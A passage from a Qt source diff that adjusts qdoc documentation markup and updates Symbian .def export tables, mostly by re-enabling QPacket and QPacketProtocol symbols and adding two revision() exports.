+  weight, and port. \a n is the name, \a p is the priority,
+  \a w is the weight, and \a po is the port.
 */
 
 /*!
     Returns a list of servers if the record type is \c Srv. The class
     Q3Dns::Server contains the following public variables:
     \list
-    \i QString Q3Dns::Server::name
-    \i Q_UINT16 Q3Dns::Server::priority
-    \i Q_UINT16 Q3Dns::Server::weight
-    \i Q_UINT16 Q3Dns::Server::port
+    \o QString Q3Dns::Server::name
+    \o Q_UINT16 Q3Dns::Server::priority
+    \o Q_UINT16 Q3Dns::Server::weight
+    \o Q_UINT16 Q3Dns::Server::port
     \endlist
 
     Note that if you want to iterate over the list, you should iterate
diff --git a/src/qt3support/tools/q3memarray.qdoc b/src/qt3support/tools/q3memarray.qdoc
index 9f2f1cc..f05f433 100644
--- a/src/qt3support/tools/q3memarray.qdoc
+++ b/src/qt3support/tools/q3memarray.qdoc
@@ -221,8 +221,8 @@
 
     New elements are not initialized.
 
-    \a optim is either Q3GArray::MemOptim (the default) or
-    Q3GArray::SpeedOptim. When optimizing for speed rather than memory
+    \a optim is either \c MemOptim (the default) or
+    \c SpeedOptim. When optimizing for speed rather than memory
     consumption, the array uses a smart grow and shrink algorithm that
     might allocate more memory than is actually needed for \a size
     elements. This speeds up subsequent resize operations, for example
diff --git a/src/qt3support/tools/q3ptrlist.qdoc b/src/qt3support/tools/q3ptrlist.qdoc
index c4fdf4f..13e478e 100644
--- a/src/qt3support/tools/q3ptrlist.qdoc
+++ b/src/qt3support/tools/q3ptrlist.qdoc
@@ -93,7 +93,8 @@
     also holds pointers to the next and previous list items. The
     functions currentNode(), removeNode(), and takeNode() operate
     directly on the Q3LNode, but they should be used with care. The
-    data component of the node is available through Q3LNode::getData().
+    data component of the node is available through Q3LNode's getData()
+    function.
 
     The Q3StrList class is a list of \c char*.
     It reimplements newItem(), deleteItem() and compareItems(). (But
diff --git a/src/s60installs/bwins/QtCoreu.def b/src/s60installs/bwins/QtCoreu.def
index a2692f7..dd7d588 100644
--- a/src/s60installs/bwins/QtCoreu.def
+++ b/src/s60installs/bwins/QtCoreu.def
@@ -4603,4 +4603,6 @@ EXPORTS
 	??XQPoint@@QAEAAV0@N@Z @ 4602 NONAME ; class QPoint & QPoint::operator*=(double)
 	??XQPoint@@QAEAAV0@H@Z @ 4603 NONAME ; class QPoint & QPoint::operator*=(int)
 	?hasError@QXmlStreamWriter@@QBE_NXZ @ 4604 NONAME ; bool QXmlStreamWriter::hasError(void) const
+	?revision@QMetaProperty@@QBEHXZ @ 4605 NONAME ; int QMetaProperty::revision(void) const
+	?revision@QMetaMethod@@QBEHXZ @ 4606 NONAME ; int QMetaMethod::revision(void) const
 
diff --git a/src/s60installs/bwins/QtDeclarativeu.def b/src/s60installs/bwins/QtDeclarativeu.def
index 9e88df7..7d0a83e 100644
--- a/src/s60installs/bwins/QtDeclarativeu.def
+++ b/src/s60installs/bwins/QtDeclarativeu.def
@@ -52,7 +52,7 @@ EXPORTS
 	?isDesignable@QMetaPropertyBuilder@@QBE_NXZ @ 51 NONAME ABSENT ; bool QMetaPropertyBuilder::isDesignable(void) const
 	?tr@QDeclarativeStateGroup@@SA?AVQString@@PBD0H@Z @ 52 NONAME ; class QString QDeclarativeStateGroup::tr(char const *, char const *, int)
 	?errors@QDeclarativeView@@QBE?AV?$QList@VQDeclarativeError@@@@XZ @ 53 NONAME ; class QList<class QDeclarativeError> QDeclarativeView::errors(void) const
-	??0QPacket@@QAE@ABV0@@Z @ 54 NONAME ABSENT ; QPacket::QPacket(class QPacket const &)
+	??0QPacket@@QAE@ABV0@@Z @ 54 NONAME ; QPacket::QPacket(class QPacket const &)
 	??1QDeclarativeDebugObjectExpressionWatch@@UAE@XZ @ 55 NONAME ABSENT ; QDeclarativeDebugObjectExpressionWatch::~QDeclarativeDebugObjectExpressionWatch(void)
 	?status@QDeclarativePixmap@@QBE?AW4Status@1@XZ @ 56 NONAME ; enum QDeclarativePixmap::Status QDeclarativePixmap::status(void) const
 	?bottom@QDeclarativeAnchors@@QBE?AVQDeclarativeAnchorLine@@XZ @ 57 NONAME ABSENT ; class QDeclarativeAnchorLine QDeclarativeAnchors::bottom(void) const
@@ -69,7 +69,7 @@ EXPORTS
 	??0Variant@QDeclarativeParser@@QAE@ABVQString@@@Z @ 68 NONAME ; QDeclarativeParser::Variant::Variant(class QString const &)
 	?paintedSizeChanged@QDeclarativeText@@IAEXXZ @ 69 NONAME ABSENT ; void QDeclarativeText::paintedSizeChanged(void)
 	??1QDeclarativeDebugClient@@UAE@XZ @ 70 NONAME ABSENT ; QDeclarativeDebugClient::~QDeclarativeDebugClient(void)
-	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 71 NONAME ABSENT ; class QString QPacketProtocol::trUtf8(char const *, char const *)
+	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 71 NONAME ; class QString QPacketProtocol::trUtf8(char const *, char const *)
 	?trUtf8@QDeclarativeListModel@@SA?AVQString@@PBD0@Z @ 72 NONAME ABSENT ; class QString QDeclarativeListModel::trUtf8(char const *, char const *)
 	?qt_metacast@QDeclarativeState@@UAEPAXPBD@Z @ 73 NONAME ; void * QDeclarativeState::qt_metacast(char const *)
 	??1QDeclarativeDebugContextReference@@QAE@XZ @ 74 NONAME ABSENT ; QDeclarativeDebugContextReference::~QDeclarativeDebugContextReference(void)
@@ -126,7 +126,7 @@ EXPORTS
 	?addToObject@QDeclarativeAbstractBinding@@QAEXPAVQObject@@@Z @ 125 NONAME ABSENT ; void QDeclarativeAbstractBinding::addToObject(class QObject *)
 	?trUtf8@QDeclarativeView@@SA?AVQString@@PBD0H@Z @ 126 NONAME ; class QString QDeclarativeView::trUtf8(char const *, char const *, int)
 	?d_func@QDeclarativeAnchors@@AAEPAVQDeclarativeAnchorsPrivate@@XZ @ 127 NONAME ABSENT ; class QDeclarativeAnchorsPrivate * QDeclarativeAnchors::d_func(void)
-	??1QPacket@@UAE@XZ @ 128 NONAME ABSENT ; QPacket::~QPacket(void)
+	??1QPacket@@UAE@XZ @ 128 NONAME ; QPacket::~QPacket(void)
 	?top@QDeclarativeScaleGrid@@QBEHXZ @ 129 NONAME ABSENT ; int QDeclarativeScaleGrid::top(void) const
 	?setExpression@QDeclarativeExpression@@QAEXABVQString@@@Z @ 130 NONAME ; void QDeclarativeExpression::setExpression(class QString const &)
 	??1QDeclarativeDebugEngineReference@@QAE@XZ @ 131 NONAME ABSENT ; QDeclarativeDebugEngineReference::~QDeclarativeDebugEngineReference(void)
@@ -252,7 +252,7 @@ EXPORTS
 	??4QDeclarativeDomValueLiteral@@QAEAAV0@ABV0@@Z @ 251 NONAME ABSENT ; class QDeclarativeDomValueLiteral & QDeclarativeDomValueLiteral::operator=(class QDeclarativeDomValueLiteral const &)
 	?setScript@QDeclarativeScriptString@@QAEXABVQString@@@Z @ 252 NONAME ; void QDeclarativeScriptString::setScript(class QString const &)
 	?requestImage@QDeclarativeImageProvider@@UAE?AVQImage@@ABVQString@@PAVQSize@@ABV4@@Z @ 253 NONAME ; class QImage QDeclarativeImageProvider::requestImage(class QString const &, class QSize *, class QSize const &)
-	?qt_metacast@QPacketProtocol@@UAEPAXPBD@Z @ 254 NONAME ABSENT ; void * QPacketProtocol::qt_metacast(char const *)
+	?qt_metacast@QPacketProtocol@@UAEPAXPBD@Z @ 254 NONAME ; void * QPacketProtocol::qt_metacast(char const *)
 	?addMetaObject@QMetaObjectBuilder@@QAEXPBUQMetaObject@@V?$QFlags@W4AddMember@QMetaObjectBuilder@@@@@Z @ 255 NONAME ABSENT ; void QMetaObjectBuilder::addMetaObject(struct QMetaObject const *, class QFlags<enum QMetaObjectBuilder::AddMember>)
 	?trUtf8@QDeclarativeRectangle@@SA?AVQString@@PBD0H@Z @ 256 NONAME ABSENT ; class QString QDeclarativeRectangle::trUtf8(char const *, char const *, int)
 	?qt_metacast@QDeclarativeText@@UAEPAXPBD@Z @ 257 NONAME ABSENT ; void * QDeclarativeText::qt_metacast(char const *)
@@ -263,7 +263,7 @@ EXPORTS
 	?create@QDeclarativeType@@QBEPAVQObject@@XZ @ 262 NONAME ABSENT ; class QObject * QDeclarativeType::create(void) const
 	?metaObject@QDeclarativeDebugExpressionQuery@@UBEPBUQMetaObject@@XZ @ 263 NONAME ABSENT ; struct QMetaObject const * QDeclarativeDebugExpressionQuery::metaObject(void) const
 	?engine@QDeclarativeView@@QBEPAVQDeclarativeEngine@@XZ @ 264 NONAME ; class QDeclarativeEngine * QDeclarativeView::engine(void) const
-	?readyRead@QPacketProtocol@@IAEXXZ @ 265 NONAME ABSENT ; void QPacketProtocol::readyRead(void)
+	?readyRead@QPacketProtocol@@IAEXXZ @ 265 NONAME ; void QPacketProtocol::readyRead(void)
 	?qt_metacall@QDeclarativeValueType@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 266 NONAME ABSENT ; int QDeclarativeValueType::qt_metacall(enum QMetaObject::Call, int, void * *)
 	?propertyType@QDeclarativePropertyPrivate@@QBEHXZ @ 267 NONAME ABSENT ; int QDeclarativePropertyPrivate::propertyType(void) const
 	?inputMethodQuery@QDeclarativeItem@@MBE?AVQVariant@@W4InputMethodQuery@Qt@@@Z @ 268 NONAME ; class QVariant QDeclarativeItem::inputMethodQuery(enum Qt::InputMethodQuery) const
@@ -310,7 +310,7 @@ EXPORTS
 	?setSmooth@QDeclarativeItem@@QAEX_N@Z @ 309 NONAME ; void QDeclarativeItem::setSmooth(bool)
 	?value@QDeclarativeDebugPropertyReference@@QBE?AVQVariant@@XZ @ 310 NONAME ABSENT ; class QVariant QDeclarativeDebugPropertyReference::value(void) const
 	?resources@QDeclarativeItemPrivate@@QAE?AV?$QDeclarativeListProperty@VQObject@@@@XZ @ 311 NONAME ; class QDeclarativeListProperty<class QObject> QDeclarativeItemPrivate::resources(void)
-	?clear@QPacketProtocol@@QAEXXZ @ 312 NONAME ABSENT ; void QPacketProtocol::clear(void)
+	?clear@QPacketProtocol@@QAEXXZ @ 312 NONAME ; void QPacketProtocol::clear(void)
 	?setState@QDeclarativeItemPrivate@@QAEXABVQString@@@Z @ 313 NONAME ; void QDeclarativeItemPrivate::setState(class QString const &)
 	??4QDeclarativeDebugPropertyReference@@QAEAAV0@ABV0@@Z @ 314 NONAME ABSENT ; class QDeclarativeDebugPropertyReference & QDeclarativeDebugPropertyReference::operator=(class QDeclarativeDebugPropertyReference const &)
 	?metaObject@QDeclarativeView@@UBEPBUQMetaObject@@XZ @ 315 NONAME ; struct QMetaObject const * QDeclarativeView::metaObject(void) const
@@ -377,7 +377,7 @@ EXPORTS
 	?status@QDeclarativeView@@QBE?AW4Status@1@XZ @ 376 NONAME ; enum QDeclarativeView::Status QDeclarativeView::status(void) const
 	??0QDeclarativeEngineDebug@@QAE@PAVQDeclarativeDebugConnection@@PAVQObject@@@Z @ 377 NONAME ABSENT ; QDeclarativeEngineDebug::QDeclarativeEngineDebug(class QDeclarativeDebugConnection *, class QObject *)
 	?create@QDeclarativeComponent@@UAEPAVQObject@@PAVQDeclarativeContext@@@Z @ 378 NONAME ; class QObject * QDeclarativeComponent::create(class QDeclarativeContext *)
-	??_EQPacket@@UAE@I@Z @ 379 NONAME ABSENT ; QPacket::~QPacket(unsigned int)
+	??_EQPacket@@UAE@I@Z @ 379 NONAME ; QPacket::~QPacket(unsigned int)
 	?trUtf8@QDeclarativeScaleGrid@@SA?AVQString@@PBD0H@Z @ 380 NONAME ABSENT ; class QString QDeclarativeScaleGrid::trUtf8(char const *, char const *, int)
 	?isResettable@QDeclarativeProperty@@QBE_NXZ @ 381 NONAME ; bool QDeclarativeProperty::isResettable(void) const
 	?isList@QDeclarativeCustomParserProperty@@QBE_NXZ @ 382 NONAME ; bool QDeclarativeCustomParserProperty::isList(void) const
@@ -428,7 +428,7 @@ EXPORTS
 	?line@QDeclarativeError@@QBEHXZ @ 427 NONAME ; int QDeclarativeError::line(void) const
 	?heightValid@QDeclarativeItem@@IBE_NXZ @ 428 NONAME ; bool QDeclarativeItem::heightValid(void) const
 	??1QDeclarativeOpenMetaObject@@UAE@XZ @ 429 NONAME ABSENT ; QDeclarativeOpenMetaObject::~QDeclarativeOpenMetaObject(void)
-	??0QPacket@@QAE@XZ @ 430 NONAME ABSENT ; QPacket::QPacket(void)
+	??0QPacket@@QAE@XZ @ 430 NONAME ; QPacket::QPacket(void)
 	?trUtf8@QDeclarativePropertyMap@@SA?AVQString@@PBD0H@Z @ 431 NONAME ; class QString QDeclarativePropertyMap::trUtf8(char const *, char const *, int)
 	?trUtf8@QDeclarativeEngine@@SA?AVQString@@PBD0H@Z @ 432 NONAME ; class QString QDeclarativeEngine::trUtf8(char const *, char const *, int)
 	??0QDeclarativeDebugEngineReference@@QAE@XZ @ 433 NONAME ABSENT ; QDeclarativeDebugEngineReference::QDeclarativeDebugEngineReference(void)
@@ -485,7 +485,7 @@ EXPORTS
 	?staticMetaObject@QDeclarativeDebugService@@2UQMetaObject@@B @ 484 NONAME ABSENT ; struct QMetaObject const QDeclarativeDebugService::staticMetaObject
 	?topMargin@QDeclarativeAnchors@@QBEMXZ @ 485 NONAME ABSENT ; float QDeclarativeAnchors::topMargin(void) const
 	??0QDeclarativeDebugExpressionQuery@@AAE@PAVQObject@@@Z @ 486 NONAME ABSENT ; QDeclarativeDebugExpressionQuery::QDeclarativeDebugExpressionQuery(class QObject *)
-	??0QPacket@@IAE@ABVQByteArray@@@Z @ 487 NONAME ABSENT ; QPacket::QPacket(class QByteArray const &)
+	??0QPacket@@IAE@ABVQByteArray@@@Z @ 487 NONAME ; QPacket::QPacket(class QByteArray const &)
 	?implicitSize@QDeclarativePixmap@@QBEABVQSize@@XZ @ 488 NONAME ; class QSize const & QDeclarativePixmap::implicitSize(void) const
 	?setFlags@QMetaObjectBuilder@@QAEXV?$QFlags@W4MetaObjectFlag@QMetaObjectBuilder@@@@@Z @ 489 NONAME ABSENT ; void QMetaObjectBuilder::setFlags(class QFlags<enum QMetaObjectBuilder::MetaObjectFlag>)
 	?horizontalCenterChanged@QDeclarativeAnchors@@IAEXXZ @ 490 NONAME ABSENT ; void QDeclarativeAnchors::horizontalCenterChanged(void)
@@ -502,7 +502,7 @@ EXPORTS
 	?qmlAttachedPropertiesObject@@YAPAVQObject@@PAHPBV1@PBUQMetaObject@@_N@Z @ 501 NONAME ; class QObject * qmlAttachedPropertiesObject(int *, class QObject const *, struct QMetaObject const *, bool)
 	??_EQDeclarativeDebugClient@@UAE@I@Z @ 502 NONAME ABSENT ; QDeclarativeDebugClient::~QDeclarativeDebugClient(unsigned int)
 	??4QDeclarativeDomComponent@@QAEAAV0@ABV0@@Z @ 503 NONAME ABSENT ; class QDeclarativeDomComponent & QDeclarativeDomComponent::operator=(class QDeclarativeDomComponent const &)
-	?tr@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 504 NONAME ABSENT ; class QString QPacketProtocol::tr(char const *, char const *)
+	?tr@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 504 NONAME ; class QString QPacketProtocol::tr(char const *, char const *)
 	?setFont@QDeclarativeText@@QAEXABVQFont@@@Z @ 505 NONAME ABSENT ; void QDeclarativeText::setFont(class QFont const &)
 	?fromChanged@QDeclarativeTransition@@IAEXXZ @ 506 NONAME ; void QDeclarativeTransition::fromChanged(void)
 	?addMethod@QMetaObjectBuilder@@QAE?AVQMetaMethodBuilder@@ABVQMetaMethod@@@Z @ 507 NONAME ABSENT ; class QMetaMethodBuilder QMetaObjectBuilder::addMethod(class QMetaMethod const &)
@@ -610,7 +610,7 @@ EXPORTS
 	??0QDeclarativeListReference@@QAE@PAVQObject@@PBDPAVQDeclarativeEngine@@@Z @ 609 NONAME ; QDeclarativeListReference::QDeclarativeListReference(class QObject *, char const *, class QDeclarativeEngine *)
 	?setData@QListModelInterface@@UAE_NHABV?$QHash@HVQVariant@@@@@Z @ 610 NONAME ABSENT ; bool QListModelInterface::setData(int, class QHash<int, class QVariant> const &)
 	??0QDeclarativePen@@QAE@PAVQObject@@@Z @ 611 NONAME ABSENT ; QDeclarativePen::QDeclarativePen(class QObject *)
-	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 612 NONAME ABSENT ; class QString QPacketProtocol::trUtf8(char const *, char const *, int)
+	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 612 NONAME ; class QString QPacketProtocol::trUtf8(char const *, char const *, int)
 	?setContextObject@QDeclarativeContext@@QAEXPAVQObject@@@Z @ 613 NONAME ; void QDeclarativeContext::setContextObject(class QObject *)
 	??_EQDeclarativeState@@UAE@I@Z @ 614 NONAME ; QDeclarativeState::~QDeclarativeState(unsigned int)
 	?expression@QDeclarativeExpression@@QBE?AVQString@@XZ @ 615 NONAME ; class QString QDeclarativeExpression::expression(void) const
@@ -668,7 +668,7 @@ EXPORTS
 	?setStdCppSet@QMetaPropertyBuilder@@QAEX_N@Z @ 667 NONAME ABSENT ; void QMetaPropertyBuilder::setStdCppSet(bool)
 	??0QDeclarativeItemPrivate@@QAE@XZ @ 668 NONAME ; QDeclarativeItemPrivate::QDeclarativeItemPrivate(void)
 	??0QDeclarativeDebugService@@QAE@ABVQString@@PAVQObject@@@Z @ 669 NONAME ABSENT ; QDeclarativeDebugService::QDeclarativeDebugService(class QString const &, class QObject *)
-	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@_N@Z @ 670 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, bool)
+	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@_N@Z @ 670 NONAME ABSENT ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, bool)
 	??_EQPacketAutoSend@@UAE@I@Z @ 671 NONAME ABSENT ; QPacketAutoSend::~QPacketAutoSend(unsigned int)
 	?saveValueType@QDeclarativePropertyPrivate@@SA?AVQByteArray@@PBUQMetaObject@@H0H@Z @ 672 NONAME ABSENT ; class QByteArray QDeclarativePropertyPrivate::saveValueType(struct QMetaObject const *, int, struct QMetaObject const *, int)
 	?resetHeight@QDeclarativeItem@@QAEXXZ @ 673 NONAME ; void QDeclarativeItem::resetHeight(void)
@@ -688,7 +688,7 @@ EXPORTS
 	?d_func@QDeclarativeDebugClient@@AAEPAVQDeclarativeDebugClientPrivate@@XZ @ 687 NONAME ABSENT ; class QDeclarativeDebugClientPrivate * QDeclarativeDebugClient::d_func(void)
 	??1QDeclarativeType@@AAE@XZ @ 688 NONAME ABSENT ; QDeclarativeType::~QDeclarativeType(void)
 	?colorFromString@QDeclarativeStringConverters@@YA?AVQColor@@ABVQString@@PA_N@Z @ 689 NONAME ABSENT ; class QColor QDeclarativeStringConverters::colorFromString(class QString const &, bool *)
-	??_EQPacketProtocol@@UAE@I@Z @ 690 NONAME ABSENT ; QPacketProtocol::~QPacketProtocol(unsigned int)
+	??_EQPacketProtocol@@UAE@I@Z @ 690 NONAME ; QPacketProtocol::~QPacketProtocol(unsigned int)
 	?tr@QDeclarativeListModel@@SA?AVQString@@PBD0@Z @ 691 NONAME ABSENT ; class QString QDeclarativeListModel::tr(char const *, char const *)
 	??0QDeclarativePixmap@@QAE@XZ @ 692 NONAME ; QDeclarativePixmap::QDeclarativePixmap(void)
 	??0QDeclarativeDebugObjectReference@@QAE@XZ @ 693 NONAME ABSENT ; QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(void)
@@ -704,7 +704,7 @@ EXPORTS
 	??4QDeclarativeDomDocument@@QAEAAV0@ABV0@@Z @ 703 NONAME ABSENT ; class QDeclarativeDomDocument & QDeclarativeDomDocument::operator=(class QDeclarativeDomDocument const &)
 	??0QDeclarativeOpenMetaObject@@QAE@PAVQObject@@PAVQDeclarativeOpenMetaObjectType@@_N@Z @ 704 NONAME ABSENT ; QDeclarativeOpenMetaObject::QDeclarativeOpenMetaObject(class QObject *, class QDeclarativeOpenMetaObjectType *, bool)
 	?trUtf8@QDeclarativeExpression@@SA?AVQString@@PBD0@Z @ 705 NONAME ; class QString QDeclarativeExpression::trUtf8(char const *, char const *)
-	??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME ABSENT ; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *)
+	??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME ; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *)
 	??1QDeclarativeListReference@@QAE@XZ @ 707 NONAME ; QDeclarativeListReference::~QDeclarativeListReference(void)
 	?clearError@QDeclarativeExpression@@QAEXXZ @ 708 NONAME ; void QDeclarativeExpression::clearError(void)
 	?setLineNumber@QDeclarativeDebugFileReference@@QAEXH@Z @ 709 NONAME ABSENT ; void QDeclarativeDebugFileReference::setLineNumber(int)
@@ -757,7 +757,7 @@ EXPORTS
 	??4QDeclarativeDomValueBinding@@QAEAAV0@ABV0@@Z @ 756 NONAME ABSENT ; class QDeclarativeDomValueBinding & QDeclarativeDomValueBinding::operator=(class QDeclarativeDomValueBinding const &)
 	??0QDeclarativeExpression@@QAE@XZ @ 757 NONAME ; QDeclarativeExpression::QDeclarativeExpression(void)
 	?paint@QDeclarativeItem@@UAEXPAVQPainter@@PBVQStyleOptionGraphicsItem@@PAVQWidget@@@Z @ 758 NONAME ; void QDeclarativeItem::paint(class QPainter *, class QStyleOptionGraphicsItem const *, class QWidget *)
-	?send@QPacketProtocol@@QAE?AVQPacketAutoSend@@XZ @ 759 NONAME ABSENT ; class QPacketAutoSend QPacketProtocol::send(void)
+	?send@QPacketProtocol@@QAE?AVQPacketAutoSend@@XZ @ 759 NONAME ; class QPacketAutoSend QPacketProtocol::send(void)
 	?countChanged@QDeclarativeListModel@@IAEXXZ @ 760 NONAME ABSENT ; void QDeclarativeListModel::countChanged(void)
 	??0QDeclarativeGridScaledImage@@QAE@PAVQIODevice@@@Z @ 761 NONAME ABSENT ; QDeclarativeGridScaledImage::QDeclarativeGridScaledImage(class QIODevice *)
 	??_EQDeclarativeBinding@@UAE@I@Z @ 762 NONAME ABSENT ; QDeclarativeBinding::~QDeclarativeBinding(unsigned int)
@@ -776,7 +776,7 @@ EXPORTS
 	?hasNotifySignal@QDeclarativeProperty@@QBE_NXZ @ 775 NONAME ; bool QDeclarativeProperty::hasNotifySignal(void) const
 	?create@QDeclarativeType@@QBEXPAPAVQObject@@PAPAXI@Z @ 776 NONAME ABSENT ; void QDeclarativeType::create(class QObject * *, void * *, unsigned int) const
 	?reversible@QDeclarativeTransition@@QBE_NXZ @ 777 NONAME ; bool QDeclarativeTransition::reversible(void) const
-	?invalidPacket@QPacketProtocol@@IAEXXZ @ 778 NONAME ABSENT ; void QPacketProtocol::invalidPacket(void)
+	?invalidPacket@QPacketProtocol@@IAEXXZ @ 778 NONAME ; void QPacketProtocol::invalidPacket(void)
 	??0QDeclarativeDebugObjectReference@@QAE@H@Z @ 779 NONAME ABSENT ; QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int)
 	?superClass@QMetaObjectBuilder@@QBEPBUQMetaObject@@XZ @ 780 NONAME ABSENT ; struct QMetaObject const * QMetaObjectBuilder::superClass(void) const
 	?isValid@QDeclarativeListReference@@QBE_NXZ @ 781 NONAME ; bool QDeclarativeListReference::isValid(void) const
@@ -813,7 +813,7 @@ EXPORTS
 	??_EQDeclarativeDebugQuery@@UAE@I@Z @ 812 NONAME ABSENT ; QDeclarativeDebugQuery::~QDeclarativeDebugQuery(unsigned int)
 	?update@QDeclarativeAbstractBinding@@QAEXXZ @ 813 NONAME ABSENT ; void QDeclarativeAbstractBinding::update(void)
 	?tr@QDeclarativeBehavior@@SA?AVQString@@PBD0H@Z @ 814 NONAME ABSENT ; class QString QDeclarativeBehavior::tr(char const *, char const *, int)
-	?read@QPacketProtocol@@QAE?AVQPacket@@XZ @ 815 NONAME ABSENT ; class QPacket QPacketProtocol::read(void)
+	?read@QPacketProtocol@@QAE?AVQPacket@@XZ @ 815 NONAME ; class QPacket QPacketProtocol::read(void)
 	?setParentItem@QDeclarativeItem@@QAEXPAV1@@Z @ 816 NONAME ; void QDeclarativeItem::setParentItem(class QDeclarativeItem *)
 	?qmlAttachedProperties@QDeclarativeComponent@@SAPAVQDeclarativeComponentAttached@@PAVQObject@@@Z @ 817 NONAME ; class QDeclarativeComponentAttached * QDeclarativeComponent::qmlAttachedProperties(class QObject *)
 	??0QDeclarativeView@@QAE@ABVQUrl@@PAVQWidget@@@Z @ 818 NONAME ; QDeclarativeView::QDeclarativeView(class QUrl const &, class QWidget *)
@@ -821,7 +821,7 @@ EXPORTS
 	??_EQDeclarativeView@@UAE@I@Z @ 820 NONAME ; QDeclarativeView::~QDeclarativeView(unsigned int)
 	?trUtf8@QDeclarativeStateGroup@@SA?AVQString@@PBD0H@Z @ 821 NONAME ; class QString QDeclarativeStateGroup::trUtf8(char const *, char const *, int)
 	?tag@QMetaMethodBuilder@@QBE?AVQByteArray@@XZ @ 822 NONAME ABSENT ; class QByteArray QMetaMethodBuilder::tag(void) const
-	?getStaticMetaObject@QPacketProtocol@@SAABUQMetaObject@@XZ @ 823 NONAME ABSENT ; struct QMetaObject const & QPacketProtocol::getStaticMetaObject(void)
+	?getStaticMetaObject@QPacketProtocol@@SAABUQMetaObject@@XZ @ 823 NONAME ; struct QMetaObject const & QPacketProtocol::getStaticMetaObject(void)
 	?setContext@QDeclarativeScriptString@@QAEXPAVQDeclarativeContext@@@Z @ 824 NONAME ; void QDeclarativeScriptString::setContext(class QDeclarativeContext *)
 	?addImageProvider@QDeclarativeEngine@@QAEXABVQString@@PAVQDeclarativeImageProvider@@@Z @ 825 NONAME ; void QDeclarativeEngine::addImageProvider(class QString const &, class QDeclarativeImageProvider *)
 	?d_func@QDeclarativeStateGroup@@ABEPBVQDeclarativeStateGroupPrivate@@XZ @ 826 NONAME ; class QDeclarativeStateGroupPrivate const * QDeclarativeStateGroup::d_func(void) const
@@ -1013,7 +1013,7 @@ EXPORTS
 	?agent@QDeclarativeListModel@@QAEPAVQDeclarativeListModelWorkerAgent@@XZ @ 1012 NONAME ABSENT ; class QDeclarativeListModelWorkerAgent * QDeclarativeListModel::agent(void)
 	?engine@QDeclarativeExpression@@QBEPAVQDeclarativeEngine@@XZ @ 1013 NONAME ; class QDeclarativeEngine * QDeclarativeExpression::engine(void) const
 	??_EQDeclarativeDebugWatch@@UAE@I@Z @ 1014 NONAME ABSENT ; QDeclarativeDebugWatch::~QDeclarativeDebugWatch(unsigned int)
-	?isEmpty@QPacket@@QBE_NXZ @ 1015 NONAME ABSENT ; bool QPacket::isEmpty(void) const
+	?isEmpty@QPacket@@QBE_NXZ @ 1015 NONAME ; bool QPacket::isEmpty(void) const
 	?qmlType@QDeclarativeMetaType@@SAPAVQDeclarativeType@@PBUQMetaObject@@@Z @ 1016 NONAME ABSENT ; class QDeclarativeType * QDeclarativeMetaType::qmlType(struct QMetaObject const *)
 	?setFill@QDeclarativeAnchors@@QAEXPAVQGraphicsObject@@@Z @ 1017 NONAME ABSENT ; void QDeclarativeAnchors::setFill(class QGraphicsObject *)
 	?setHAlign@QDeclarativeText@@QAEXW4HAlignment@1@@Z @ 1018 NONAME ABSENT ; void QDeclarativeText::setHAlign(enum QDeclarativeText::HAlignment)
@@ -1029,7 +1029,7 @@ EXPORTS
 	?staticMetaObject@QDeclarativeText@@2UQMetaObject@@B @ 1028 NONAME ABSENT ; struct QMetaObject const QDeclarativeText::staticMetaObject
 	?color@QDeclarativeRectangle@@QBE?AVQColor@@XZ @ 1029 NONAME ABSENT ; class QColor QDeclarativeRectangle::color(void) const
 	?isEnabled@QDeclarativeDebugClient@@QBE_NXZ @ 1030 NONAME ABSENT ; bool QDeclarativeDebugClient::isEnabled(void) const
-	?send@QPacketProtocol@@QAEXABVQPacket@@@Z @ 1031 NONAME ABSENT ; void QPacketProtocol::send(class QPacket const &)
+	?send@QPacketProtocol@@QAEXABVQPacket@@@Z @ 1031 NONAME ; void QPacketProtocol::send(class QPacket const &)
 	?width@QDeclarativePixmap@@QBEHXZ @ 1032 NONAME ; int QDeclarativePixmap::width(void) const
 	?error@QDeclarativeCustomParser@@IAEXABVQDeclarativeCustomParserNode@@ABVQString@@@Z @ 1033 NONAME ; void QDeclarativeCustomParser::error(class QDeclarativeCustomParserNode const &, class QString const &)
 	?defaultProperty@QDeclarativeMetaType@@SA?AVQMetaProperty@@PBUQMetaObject@@@Z @ 1034 NONAME ABSENT ; class QMetaProperty QDeclarativeMetaType::defaultProperty(struct QMetaObject const *)
@@ -1043,7 +1043,7 @@ EXPORTS
 	?trUtf8@QDeclarativeAnchors@@SA?AVQString@@PBD0@Z @ 1042 NONAME ABSENT ; class QString QDeclarativeAnchors::trUtf8(char const *, char const *)
 	?getStaticMetaObject@QDeclarativeValueType@@SAABUQMetaObject@@XZ @ 1043 NONAME ABSENT ; struct QMetaObject const & QDeclarativeValueType::getStaticMetaObject(void)
 	?valueChanged@QDeclarativePropertyMap@@IAEXABVQString@@ABVQVariant@@@Z @ 1044 NONAME ; void QDeclarativePropertyMap::valueChanged(class QString const &, class QVariant const &)
-	?staticMetaObject@QPacketProtocol@@2UQMetaObject@@B @ 1045 NONAME ABSENT ; struct QMetaObject const QPacketProtocol::staticMetaObject
+	?staticMetaObject@QPacketProtocol@@2UQMetaObject@@B @ 1045 NONAME ; struct QMetaObject const QPacketProtocol::staticMetaObject
 	?tr@QDeclarativeListModel@@SA?AVQString@@PBD0H@Z @ 1046 NONAME ABSENT ; class QString QDeclarativeListModel::tr(char const *, char const *, int)
 	??0QDeclarativeScriptString@@QAE@XZ @ 1047 NONAME ; QDeclarativeScriptString::QDeclarativeScriptString(void)
